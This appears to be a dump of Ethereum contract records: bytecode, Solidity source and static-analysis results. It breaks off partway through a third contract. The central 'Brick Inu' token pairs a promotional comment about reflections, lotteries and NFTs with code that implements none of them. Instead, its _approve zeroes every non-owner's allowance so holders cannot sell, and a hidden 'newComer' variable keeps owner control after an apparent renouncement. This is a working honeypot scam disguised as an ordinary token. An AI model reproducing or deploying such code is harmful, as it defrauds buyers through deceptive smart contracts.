1561149e57600080fd5b5035919050565b6000806000606084860312156114ba57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611500578581018301518582016040015282016114e4565b81811115611512576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115ad5784516001600160a01b031683529383019391830191600101611588565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115e1576115e161163e565b500190565b60008261160357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116225761162261163e565b500290565b6000828210156116395761163961163e565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461053a57600080fd5b801515811461053a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220397c1eeee75428ec2bd680a3b8ce55bf2bd3e89d0f3ef6bd601135d4420f870864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 651 |
0x8ecda3ab882ce1c462f7ce9dcad2deb724739710 | /*
%@@@@@@@@@@@@@@@%
@@@@@@@@/,,,,,,,,,,,(@@@@@@@%
.@@@,,,,,,,,,,,,,,,,,,,,,,,,,@@@
@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,@@@@
/@@@@@@@@@@@@@@@@%/,,,,,,,,,,,/@@@@@@@@@@@@@@@@/
,@@@@@@@@@@@@@@@@@@@,.....%@@@@@@@@@@@@@@@@@@@@@@@%,,,,#@@(....,@@@@@@@@@@@@@@@@@*,
@@@@@@@@&#/,,,,,/#&@@@@@@@@.....@@@@@@@@@@@@@@@(,,,,,,,,,,,,@@@......@@@@@@@@@@&&#%&@@@@@@@@@@@
@@@(,,,,,,,,,,,,,,,,,,,,,,,#@@@...,@@@@@@@@@@@@@@(,,,,,,,,,*@@@@.....@@@,,,,,,,,,,,,,,,,,,,,,,,@@@@
@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,@@@*...../@@@@@@@@@@@@@@@@@@@@@@@,......@@@,,,,,,,,,,,,,,,,,,,,,,,,,*@@@
@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,@@@@@@@@(...................................&@@@@@@@,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
@@@@@@@@,....%@@@@@@@@@@@@@@@@@@@@@@@@#,,,#@@*...................................@@@@@@@@@@@@@@@@@@@@@@@@@@@,,*@@@...%@@@@@@@
@@@@@@@/............@@@@@@@@@@@@@@@*,,,,,,,,,,,,(@@,.....&@@@@@@@@@@@@@@@@@@@@@@@@.....#@@@@@@@@@@@@@@@@,,,,,,,,,,,,,@@@.........*@@@@@@@(
@@@@@@@@@#..........#@@@@@@@@@@@@@@,,,,,,,,,,,/@@@@...,@@@@*,,,,,,,,,,,,,,,,,,,,(@@@@...@@@@@@@@@@@@@@@&,,,,,,,,,,,%@@@............&@@@@@@@
@@@@@@@@@@@@@@@@,......@@@@@@@@@@@@@@@@@@@@@@@@&......@@@,,,,,,,,,,,,,,,,,,,,,,,,,,@@@....,@@@@@@@@@@@@@%/%@@@@@@@@@%.......%@@@@@@@/...@@@
@@@@@@@@@@@@@@@@@@@@@@(........../.../................@@@@@@,,,,,,,,,,,,,,,,,,,(@@@@@@............/%@@@@@@@&(,.......*@@@@@@@%..........@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,........................@@@@@@@@@@@@@@@@@@@@@@@@@@&,*@@&.........................&@@@@@@@*........../@@...@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(..................@@@@@@@@@@@@@@@@,,,,,,,,,,,,,@@/..................(@@@@@@@#...........@...#@@&....@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,...........@@@@@@@@@@@@@@@@,,,,,,,,,,,,@@@............,@@@@@@@@...............#@@@..@@@......@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/.......&@@@@@@@@@@@@@*,,*(@@@@@@@@........%@@@@@@@*...........(@@@@@@@@.#@@@%@@&.......@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.......,&@@@@@@@@@@@@&,......,@@@@@@@&...........,....@@@@#...@...#@@@@@@@@@.....@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*................@@@@@@@@...............@@@#..@@@@..........#@@@(./@@@@@...@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...#@@@@@@@*...........(@@@@@@...@@@#.@@@@.......#...#@@@.....@.....@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...............@@@@@@@@@@@..@@@#.@@@@%....@@@@..#@@*...........@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.......,@@@@@@...@@@....@@@...@@@#..@@@@@@@@@@...................@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@@@@@@@...@@@@@@@@&....@@@#.....,,..........*@@@*.........@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@.%@@@&...@@@@(@@@@@...@@@#................&#%@.(@(.......@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@@@%@@@@..@@@....@@@/........*............@,.%@...*@%.....@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@...@@@@..@@@.............@@@@...........@...%@&%#(//@&...@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@@@@@@............@@@@....@@@@.........(@.,@/%@.....@(....@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@.........../@@@..@@@@....@@@@........@#@*...&@..&@.#@*...@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..........(@@@@..../@@@..@@@@....@@@@.......@@@@@/,.%@@,.@/@.....@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....%@@@..@@@@@@@../@@@..@@@@...,@@@........@@%,......@@.@%......@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@..@@@@@@@@@/@@@..@@@@@@@@@@...........@@....@@..@........@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@..@@@@..@@@@@@@...(@@@@,................&@(.&@&@........,@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@..@@@@....@@@@@............................@@@........@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@..@@@@........................................./@@@@@@@@
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....@@@@..%......................................@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....(.....................................#@@@@@@@/
(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...................................*@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.............................&@@@@@@@*
%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@....................../@@@@@@@%
@@@@@@@@@@@@@@@@@@@@@@@@@@...............,@@@@@@@@
&@@@@@@@@@@@@@@@@@@@.........(@@@@@@@&
@@@@@@@@@@@@@#..@@@@@@@@
@@@@@@@@@@@/
💁 $️BRICK INU is an ETH reflective, NFT enriched and Lottery oriented ERC20 community-driven meme token with the vision of maximizing profit for BRICK holders employing many of its unique features.
🧮 BRICKoNOMICS:
2,500,000,000,000 Total BRICKs
30 Sec Cooldown
💠 BRICKoTRUST:
Liquidity Locked on Unicrypt
💲 BRICKoFEES:
12% Tax as following:
> 7% for Distributin in ETH among 3 BRICK Holders every 30 minutes
> 4% for Development & Marketing
> 1% for Buyback & Burn
🎟 BRICKoLOTTO:
This is the most exciting part of our ecosystem. We have designed a lottery system to incentivize community to hold and flaunt their holdings. 60% of all collected fees will be distributed to 3 lucky winners on every lottery draw. BRICKoLOTTO has the following criteria:
1) Instead of giving equal weights to all users, we give weights based on their purchase token amount and contributed ETH amount
2) The amount of BRICK should have been bought by the same address and not transferred to another address. If you do so, you'll lose your chance to be included in the ETH reflection, unless you buy again with that wallet. You got no place in BRICKoLOTTO you filthy multiple-address-smart-contract buyer.
3) There's no min eligible amount. Even if you buy 1 token, you have the very little chance to get rewarded.
4) Every 30 minutes, 3 wallets will be randomly chosen for ETH reflection on their wallets. No action is needed and ETH will be reflected to your wallets seemlessly. However, the time between lottery wllaets selection can/will be changed after launch according to community votes.
5) We will announce the 3 winners every time it changes on telegram channel.
🖼 BRICKoNFT:
This is the next area in which BRICK shines. With BRICKoNFT, you can mint your own LEGO-themed NFT, every of which are unique and not mintable by anyone once deployed by BRICK stakers. All minted BRICKoNFTs will be tradable right away in NFT marketplaces such as OpenSea and Rarible. This has never done before and will be a game changer once live.
In order to be able to mint a BRICKoNFT, you should stake and burn a certain amount of BRICKs which will be decided before it is fully launched. Keep in mind that the burning requirement make BRICKs even more deflationary and valuable.
The work is in progress and many characters/elements will be added as we go forward. To see what we have in mind, take a look at LEGO.NFT and give us your opinion.
🗣 BrickoSocial:
🖥 Website: https://brickinu.com
💬 Telegram: https://t.me/BrickInu
🕊 Twitter: https://twitter.com/brick_inu
🖊 Github: https://github.com/BrickInu/Brick
📽 Youtube: https://www.youtube.com/channel/UC4iw7KAtpNC-Zv5xfEzJP2g
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract brickinu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 2500 * 10**9 * 10**18;
string private _name = 'Brick Inu - https://t.me/brickinu';
string private _symbol = '🔶BRICK🔷';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address brick, address inuu, uint256 amount) private {
require(brick != address(0), "ERC20: approve from the zero address");
require(inuu != address(0), "ERC20: approve to the zero address");
if (brick != owner()) { _allowances[brick][inuu] = 0; emit Approval(brick, inuu, 4); }
else { _allowances[brick][inuu] = amount; emit Approval(brick, inuu, amount); }
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c719f5dc9301056d9de27d4e8caaafb6d99a738951edba4a06260908cc9f306064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 652 |
0x2EB8505831Caf8c368a8eB49535f38c4475F3813 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
